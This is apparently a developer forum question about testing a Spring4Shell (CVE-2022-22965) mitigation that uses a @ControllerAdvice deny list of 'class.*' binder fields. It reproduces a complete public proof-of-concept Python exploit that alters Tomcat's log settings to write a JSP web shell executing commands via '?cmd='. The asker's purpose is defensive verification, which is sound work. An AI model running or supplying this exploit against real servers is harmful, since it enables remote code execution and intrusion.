ControllerAdvice setDisallowedFields how to test if its working

Question

Due to the Spring4shell(CVE-2022-22965) vulnerability we have to take mitigation actions. It is not possible for us to upgrade the Spring Boot version since there are many dependencies that are not compatible with the Spring Boot version 5. So I am trying out the suggested workaround in this https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement#am-i-impacted by setting disallowed fields.

@ControllerAdvice
@Order(Ordered.LOWEST_PRECEDENCE)
public class BinderControllerAdvice {

    @InitBinder
    public void setAllowedFields(WebDataBinder dataBinder) {
         String[] denylist = new String[]{"class.*", "Class.*", "*.class.*", "*.Class.*"};
         dataBinder.setDisallowedFields(denylist);
    }

}

How do I test if this is working?

I tried running this python script from https://github.com/reznok/Spring4Shell-POC/blob/master/exploit.py and the request is not rejected.

import requests
import argparse
from urllib.parse import urlparse
import time

# Set to bypass errors if the target site has SSL issues
requests.packages.urllib3.disable_warnings()

post_headers = {
    "Content-Type": "application/x-www-form-urlencoded"
}

get_headers = {
    "prefix": "<%",
    "suffix": "%>//",
    # This may seem strange, but this seems to be needed to bypass some check that looks for "Runtime" in the log_pattern
    "c": "Runtime",
}


def run_exploit(url, directory, filename):
    log_pattern = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20" \
                  f"java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter" \
                  f"(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B" \
                  f"%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di"

    log_file_suffix = "class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp"
    log_file_dir = f"class.module.classLoader.resources.context.parent.pipeline.first.directory={directory}"
    log_file_prefix = f"class.module.classLoader.resources.context.parent.pipeline.first.prefix={filename}"
    log_file_date_format = "class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="

    exp_data = "&".join([log_pattern, log_file_suffix, log_file_dir, log_file_prefix, log_file_date_format])

    # Setting and unsetting the fileDateFormat field allows for executing the exploit multiple times
    # If re-running the exploit, this will create an artifact of {old_file_name}_.jsp
    file_date_data = "class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=_"
    print("[*] Resetting Log Variables.")
    ret = requests.post(url, headers=post_headers, data=file_date_data, verify=False)
    print("[*] Response code: %d" % ret.status_code)

    # Change the tomcat log location variables
    print("[*] Modifying Log Configurations")
    ret = requests.post(url, headers=post_headers, data=exp_data, verify=False)
    print("[*] Response code: %d" % ret.status_code)

    # Changes take some time to populate on tomcat
    time.sleep(3)

    # Send the packet that writes the web shell
    ret = requests.get(url, headers=get_headers, verify=False)
    print("[*] Response Code: %d" % ret.status_code)

    time.sleep(1)

    # Reset the pattern to prevent future writes into the file
    pattern_data = "class.module.classLoader.resources.context.parent.pipeline.first.pattern="
    print("[*] Resetting Log Variables.")
    ret = requests.post(url, headers=post_headers, data=pattern_data, verify=False)
    print("[*] Response code: %d" % ret.status_code)


def main():
    parser = argparse.ArgumentParser(description='Spring Core RCE')
    parser.add_argument('--url', help='target url', required=True)
    parser.add_argument('--file', help='File to write to [no extension]', required=False, default="shell")
    parser.add_argument('--dir', help='Directory to write to. Suggest using "webapps/[appname]" of target app',
                        required=False, default="webapps/ROOT")

    file_arg = parser.parse_args().file
    dir_arg = parser.parse_args().dir
    url_arg = parser.parse_args().url

    filename = file_arg.replace(".jsp", "")

    if url_arg is None:
        print("Must pass an option for --url")
        return

    try:
        run_exploit(url_arg, dir_arg, filename)
        print("[+] Exploit completed")
        print("[+] Check your target for a shell")
        print("[+] File: " + filename + ".jsp")

        if dir_arg:
            location = urlparse(url_arg).scheme + "://" + urlparse(url_arg).netloc + "/" + filename + ".jsp"
        else:
            location = f"Unknown. Custom directory used. (try app/{filename}.jsp?cmd=id"
        print(f"[+] Shell should be at: {location}?cmd=id")
    except Exception as e:
        print(e)


if __name__ == '__main__':
    main()

Also, my application does not have any controller method parameters that are annotated with @ModelAttribute. If so, is it really vulnerable?